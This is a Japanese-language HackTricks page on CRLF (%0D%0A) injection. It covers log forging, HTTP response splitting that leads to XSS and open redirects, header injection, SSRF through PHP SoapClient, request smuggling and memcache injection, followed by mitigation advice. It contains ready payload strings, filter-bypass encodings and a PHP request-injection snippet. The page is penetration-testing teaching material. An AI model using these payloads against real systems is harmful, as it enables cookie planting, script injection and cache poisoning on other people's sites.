hacktricks/pentesting-web/crlf-0d-0a.md

# CRLF (%0D%0A) インジェクション

<details>

<summary><strong>htARTE（HackTricks AWS Red Team Expert）</strong>を通じて、ゼロからヒーローまでAWSハッキングを学ぶ</a><strong>！</strong></summary>

HackTricksをサポートする他の方法：

* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
* [**公式PEASS＆HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**する
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリに提出する

</details>

<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">

**ハッキングキャリア**に興味がある方や**解読不能なものをハック**したい方 - **採用中です！**（_流暢なポーランド語の読み書きが必要です_）。

{% embed url="https://www.stmcyber.com/careers" %}

### CRLF

キャリッジリターン（CR）とラインフィード（LF）は、合わせてCRLFとして知られ、HTTPプロトコルで使用される特別な文字シーケンスです。これらは、WebサーバーとブラウザがHTTPヘッダーとレスポンスの本文を区別するために使用します。これらの文字は、ApacheやMicrosoft IISなどのさまざまなWebサーバータイプで一般的に使用されています。

### CRLFインジェクション脆弱性

CRLFインジェクションは、CRおよびLF文字をユーザー提供の入力に挿入することを含みます。このアクションにより、サーバー、アプリケーション、またはユーザーが挿入されたシーケンスを1つのレスポンスの終わりと別のレスポンスの始まりとして解釈するように誤導されます。これらの文字自体には有害性はありませんが、誤用するとHTTPレスポンスの分割やその他の悪意ある活動につながる可能性があります。

### 例：ログファイル内のCRLFインジェクション

[ここからの例](https://www.invicti.com/blog/web-security/crlf-http-header/)

管理パネル内のログファイルを考えてみましょう。フォーマットは次のようになります：`IP - 時間 - 訪問したパス`。典型的なエントリは次のようになります：
```
123.123.123.123 - 08:15 - /index.php?page=home
```
攻撃者はこのログを操作するためにCRLFインジェクションを悪用できます。HTTPリクエストにCRLF文字をインジェクトすることで、攻撃者は出力ストリームを変更し、ログエントリを偽造することができます。たとえば、インジェクトされたシーケンスは、ログエントリを次のように変換する可能性があります：
```
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
ここでは、`%0d` と `%0a` は CR と LF の URL エンコード形式を表しています。攻撃後、ログには誤解を招くように表示されます:
```
IP - Time - Visited Path

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
攻撃者は、悪意のある活動をローカルホスト（通常、サーバー環境内で信頼されるエンティティ）がアクションを実行したかのように見せかけます。サーバーは、`%0d%0a`で始まるクエリの一部を単一のパラメータとして解釈し、`restrictedaction`パラメータを別の独立した入力として解析します。操作されたクエリは、正当な管理コマンドを模倣する効果的なものとなります：`/index.php?page=home&restrictedaction=edit`

### HTTPレスポンス分割

#### 説明

HTTPレスポンス分割は、攻撃者がHTTPレスポンスの構造を悪用する際に生じるセキュリティ脆弱性です。この構造は、特定の文字シーケンス、キャリッジリターン（CR）に続くラインフィード（LF）という、CRLFとして総称されるものを使用して、ヘッダーと本文を分離します。攻撃者がレスポンスヘッダーにCRLFシーケンスを挿入することに成功すれば、後続のレスポンスコンテンツを効果的に操作できます。この種の操作は、深刻なセキュリティ問題、特にクロスサイトスクリプティング（XSS）につながる可能性があります。

#### HTTPレスポンス分割を通じたXSS

1. アプリケーションは、次のようにカスタムヘッダーを設定します：`X-Custom-Header: UserInput`
2. アプリケーションは、`UserInput`の値をクエリパラメータから取得します。適切な入力検証とエンコーディングが欠如しているシナリオでは、攻撃者はCRLFシーケンスに続く悪意のあるコンテンツを含むペイロードを作成できます。
3. 攻撃者は、特別に作成された 'user_input' を含むURLを作成します：`?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>`
- このURLでは、`%0d%0a%0d%0a` はCRLFCRLFのURLエンコード形式です。これにより、サーバーがCRLFシーケンスを挿入し、後続の部分をレスポンス本文として扱うように誤認させます。
4. サーバーは、攻撃者の入力をレスポンスヘッダーに反映し、悪意のあるスクリプトがブラウザによってレスポンス本文の一部として解釈される意図しないレスポンス構造を導きます。

#### リダイレクトにつながるHTTPレスポンス分割の例

From [https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62](https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62)

ブラウザへ:
```
/%0d%0aLocation:%20http://myweb.com
```
そして、サーバーは次のヘッダーを返します：
```
Location: http://myweb.com
```
**他の例: (from** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)**
```
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```
#### URLパス内

サーバーからの**レスポンス**を制御するために、**URLパス内に**ペイロードを送信できます（[こちら](https://hackerone.com/reports/192667)の例から）:
```
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
```
さらなる例は次の場所で確認できます：

{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}

### HTTPヘッダーインジェクション

HTTPヘッダーインジェクションは、しばしばCRLF（キャリッジリターンと改行）インジェクションを介して悪用され、攻撃者がHTTPヘッダーを挿入できるようにします。これにより、XSS（クロスサイトスクリプティング）フィルターやSOP（同一オリジンポリシー）などのセキュリティメカニズムが崩れ、CSRFトークンへの不正アクセスや、クッキーの植え付けを通じたユーザーセッションの操作など、機密データへの不正アクセスが可能となります。

#### HTTPヘッダーインジェクションを介したCORSの悪用

攻撃者はHTTPヘッダーを注入してCORS（クロスオリジンリソース共有）を有効にすることができ、SOPによって課された制限を回避します。この侵害により、悪意のあるオリジンからのスクリプトが異なるオリジンのリソースとやり取りし、保護されたデータにアクセスする可能性があります。

#### CRLFを介したSSRFおよびHTTPリクエストインジェクション

CRLFインジェクションを使用して、完全に新しいHTTPリクエストを作成して挿入することができます。これの注目すべき例として、PHPの`SoapClient`クラスにある脆弱性があり、特に`user_agent`パラメータ内に存在します。このパラメータを操作することで、攻撃者は追加のヘッダーや本文コンテンツを挿入したり、新しいHTTPリクエストを完全に挿入したりすることができます。以下は、この悪用を示すPHPの例です：
```php
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

# Put a netcat listener on port 9090
$client->__soapCall("test", []);
```
### リクエストスマグリングへのヘッダーインジェクション

この技術や潜在的な問題についての詳細は、[**元のソースをチェックしてください**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)。

初期リクエストに応答した後、**バックエンドが接続を維持するようにするために**重要なヘッダーをインジェクトできます。
```
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
```
**悪用:**

1. **悪意のあるプレフィックスインジェクション**: この方法は、悪意のあるプレフィックスを指定することで、次のユーザーのリクエストまたはWebキャッシュを汚染することを含みます。例:

`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`

2. **レスポンスキュー汚染のためのプレフィックスの作成**: このアプローチは、トレイリングジャンクと組み合わせると完全な2番目のリクエストが形成されるプレフィックスを作成することを含みます。これにより、レスポンスキューの汚染が引き起こされる可能性があります。例:

`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`

### Memcacheインジェクション

Memcacheは**クリアテキストプロトコルを使用するキーバリューストア**です。詳細は以下を参照してください:

{% content-ref url="../network-services-pentesting/11211-memcache/" %}
[11211-memcache](../network-services-pentesting/11211-memcache/)
{% endcontent-ref %}

**詳細については**[**元の解説**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/) **を読んでください**

プラットフォームが**HTTPリクエストからデータを取得し、サニタイズせずに**それを使用して**memcache**サーバーに**リクエスト**を実行する場合、攻撃者はこの動作を悪用して**新しいmemcacheコマンドをインジェクト**する可能性があります。

たとえば、元の脆弱性が発見された場合、キャッシュキーが使用されてユーザーが接続すべきIPとポートを返し、攻撃者は**memcacheコマンドをインジェクト**して**キャッシュを汚染**し、被害者の詳細（ユーザー名とパスワードを含む）を攻撃者のサーバーに送信することができました:

<figure><img src="../.gitbook/assets/image (6) (1) (4).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&h=178&auto=format&fit=crop"><figcaption></figcaption></figure>

さらに、研究者は、memcacheの応答をデシンクさせて、攻撃者が知らないユーザーのIPとポートを攻撃者に送信することができることも発見しました:

<figure><img src="../.gitbook/assets/image (40).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&h=506&auto=format&fit=crop"><figcaption></figcaption></figure>

### WebアプリケーションでのCRLF / HTTPヘッダーインジェクションの防止方法

WebアプリケーションでのCRLF（キャリッジリターンおよびラインフィード）またはHTTPヘッダーインジェクションのリスクを軽減するために、以下の戦略が推奨されます:

1. **レスポンスヘッダーに直接ユーザー入力を避ける:**
最も安全なアプローチは、ユーザー提供の入力を直接レスポンスヘッダーに組み込まないことです。

2. **特殊文字のエンコード:**
直接ユーザー入力を避けることができない場合は、CR（キャリッジリターン）やLF（ラインフィード）などの特殊文字をエンコードするための専用の関数を使用してください。この実践により、CRLFインジェクションの可能性を防ぎます。

3. **プログラミング言語の更新:**
Webアプリケーションで使用されているプログラミング言語を定期的に最新バージョンに更新してください。HTTPヘッダーを設定する関数内でCRおよびLF文字のインジェクションをデフォルトで許可しないバージョンを選択してください。
```
1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
```
## 自動ツール

* [https://github.com/Raghavd3v/CRLFsuite](https://github.com/Raghavd3v/CRLFsuite)
* [https://github.com/dwisiswant0/crlfuzz](https://github.com/dwisiswant0/crlfuzz)

## ブルートフォース検出リスト

* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/crlf.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/crlf.txt)

## 参考文献
* [**https://www.invicti.com/blog/web-security/crlf-http-header/**](https://www.invicti.com/blog/web-security/crlf-http-header/)
* [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
* [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/)

<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">

**ハッキングキャリア**に興味がある方や、**解読不能なものをハック**したい方 - **採用中です！**（_流暢なポーランド語の読み書きが必要です_）。

{% embed url="https://www.stmcyber.com/careers" %}

<details>

<summary><strong>**htARTE（HackTricks AWS Red Team Expert）**で**ゼロからヒーローまでのAWSハッキング**を学びましょう！</strong></summary>

HackTricksをサポートする他の方法：

* **HackTricksで企業を宣伝**したい場合や、**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
* [**公式PEASS＆HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する

</details>